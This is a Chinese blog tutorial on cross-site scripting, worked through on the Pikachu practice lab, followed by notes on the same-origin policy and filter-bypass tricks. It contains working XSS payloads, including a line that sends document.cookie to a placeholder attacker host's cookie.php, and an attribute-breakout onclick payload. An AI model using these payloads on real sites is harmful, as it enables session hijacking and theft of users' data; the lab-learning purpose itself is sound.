【网络安全】-xss跨站脚本攻击-pikachu

文章目录

前言 什么是xss跨站脚本攻击?

1.xss的分类:

1.1 反射型xss

1.2 存储型xss

1.3 Dom型xss:

2.同源策略:

2.1同源策略的定义

2.2同源策略的绕过

2.3 绕过同源策略的绕过


前言 什么是xss跨站脚本攻击?

因为网站程序对用户的输入过滤不足,导致hacker可以在网站上插入恶意脚本代码。

这些脚本代码在输出时会被当成源进行代码解析执行,弹窗显示在页面上,对其他用户造成影响,例如劫持cookie、钓鱼、挂马、盗取用户资料、利用用户身份进行非法活动或者直接上传木马病毒侵害主机。


1.xss的分类:

1.1 反射型xss

传参不被存储在数据库中,服务端只是简单的把反射型XSS用户输入的数据反射给浏览器,是一次性的。

举例:皮卡丘靶场,反射型xss。

输入1,查看回显信息,message=1&sumbmit=提交

依次输入2,3查看。

发现回显信息分别是message=2&sumbmit=提交,message=3&sumbmit=提交。

分析:message=我们输入的信息&点击提交的表单。

而本题是xss跨站脚本攻击, 我们输入的信息就是xss脚本代码的插入点,可以在网站上插入恶意脚本代码, 等同于message=恶意脚本代码&点击提交的表单。

我们插入<script>alert('XSS');</script>恶意脚本试试。

这说明我们插入恶意脚本已经被执行。

接下来便可以进行xss跨站脚本攻击。

(1) 劫持cookie:

  1. 弹出cookie:<script>alert(document.cookie)</script>
  1. 劫持cookie:

第一步:编写cookie.php脚本

第二步:

<script>document.location='http://主机地址/cookie.php //cookie地址

?cookie='+document.cookie; </script> //劫持cookie

第四步:访问document.location='http://主机地址/cookie.php 查看。

(2) 钓鱼钓鱼、挂马、盗取用户资料之类的大差不差,仅仅结合了csrf,深入学习时别忘了《网络安全法》。

1.2 存储型xss

传参被存在数据库里面可以重复使用。

输入1,2都没有回显信息,插入<script>alert('XSS');</script>脚本试试。

还是弹窗,感觉没什么特别的。

直到我多输了几次,每次进入都是满屏弹窗,一个接一个,有这时间,哪怕知道hacker入侵也只能干等着,想想那种xx的心......

1.3 Dom型xss:

不与后台服务器产生数据交,通过前端的dom节点形成。

输入1,回显你看到了什么?

输入2,还是回显你看到了什么?

插入恶意脚本<script>alert('XSS');</script>试试,还是回显你看到了什么?

好像是固定外链,点一下返回报错界面。

联想Dom型xss:不与后台服务器产生数据交,通过前端的dom节点形成。

所以你看到了什么?是前端的dom节点,检查页面源代码,

右上角,点击你看到了什么?进行检查,灰色选框自动跳转到代码行,下拉菜单得到源代码。

分析:

输入1

源代码<a href="1" _msttexthash="27140139" _msthash="89">你看到了什么?</a>

其中点击1跳转的便是我们的报错界面。

但是插入恶意脚本为什么也是外链?

不该是弹窗吗?

直到我们查看源代码,才发现:我们的恶意脚本<script>alert('XSS');</script>

因闭合方式空缺成了

根据提示:

构建' οnclick="alert('xss')">,弹出脚本。

2.同源策略:

为了安全考虑,所有浏览器都约定了同源策略-禁止页面加载或执行与自身来源不同的域中的任何脚本。

2.1同源策略的定义:

在同源策略中,"源"是由三个要素组成的:

  1. 协议(Protocol):如http、https。

  2. 域名(Domain):如example.com、localhost。

  3. 端口(Port):如80(HTTP的默认端口)、443(HTTPS的默认端口)。

只有当两个页面的协议、域名和端口号都相同时,它们才被认为是同源的。

2.2同源策略的绕过:

同源策略虽然安全,但在实际生活中,难免需要跨域访问资源:

  1. CORS(跨源资源共享):服务器设置Access-Control-Allow-Origin等CORS头部,允许来自特定源的请求访问资源。

  2. JSONP:一种非官方的跨域数据交换协议,通过动态插入<script>标签来实现跨域请求,但需要注意的是,JSONP只支持GET请求,并且存在安全风险,因为它无法验证响应内容的来源。

  3. 其他iframe、location.hash、window.name、HTML标签也可以用于实现跨域资源访问。

2.3 绕过同源策略的绕过

在绕过同源策略时,又引入了跨站脚本攻击(XSS)等安全风险。

  1. 只是严格过滤了恶意脚本语言的关键字,可以注释,编码,拼凑,大小写混合绕过。

  2. 标签语法蓸换

  3. 特殊符号干扰

  4. 提交方式更改

  5. 结合其他漏洞绕过

结语:xss攻击,同源策略,同源策略的绕过,绕过同源策略的绕过,怎么说呢,好像一场宿命的轮回......

相关推荐
SaxoZhao8 分钟前
Vue 中阻止点击事件穿透
前端·javascript·vue.js
用你的胜利博我一笑吧12 分钟前
vue3+ts+supermap iclient3d for cesium功能集合
前端·javascript·vue.js·3d·cesium·supermap
Lovely Ruby26 分钟前
Vite + Electron 时,Electron 渲染空白,静态资源加载错误等问题解决
前端·javascript·electron
weixin_4648381526 分钟前
grep命令如何实现正则表达式搜索?
linux·运维·服务器·网络安全·系统架构
guojikun38 分钟前
使用 Wake Lock API:保持设备唤醒的最佳实践
javascript·web前端·wakelock
luckycoke1 小时前
小程序的右侧抽屉开关动画手写效果
前端·javascript·微信小程序·uni-app
玥轩_5211 小时前
网络安全 DVWA通关指南 DVWA SQL Injection (Blind SQL盲注)
sql·安全·web安全·网络安全·dvwa·sql盲注
xuan哈哈哈2 小时前
web基础—dvwa靶场(五)File Upload
安全·web安全·网络安全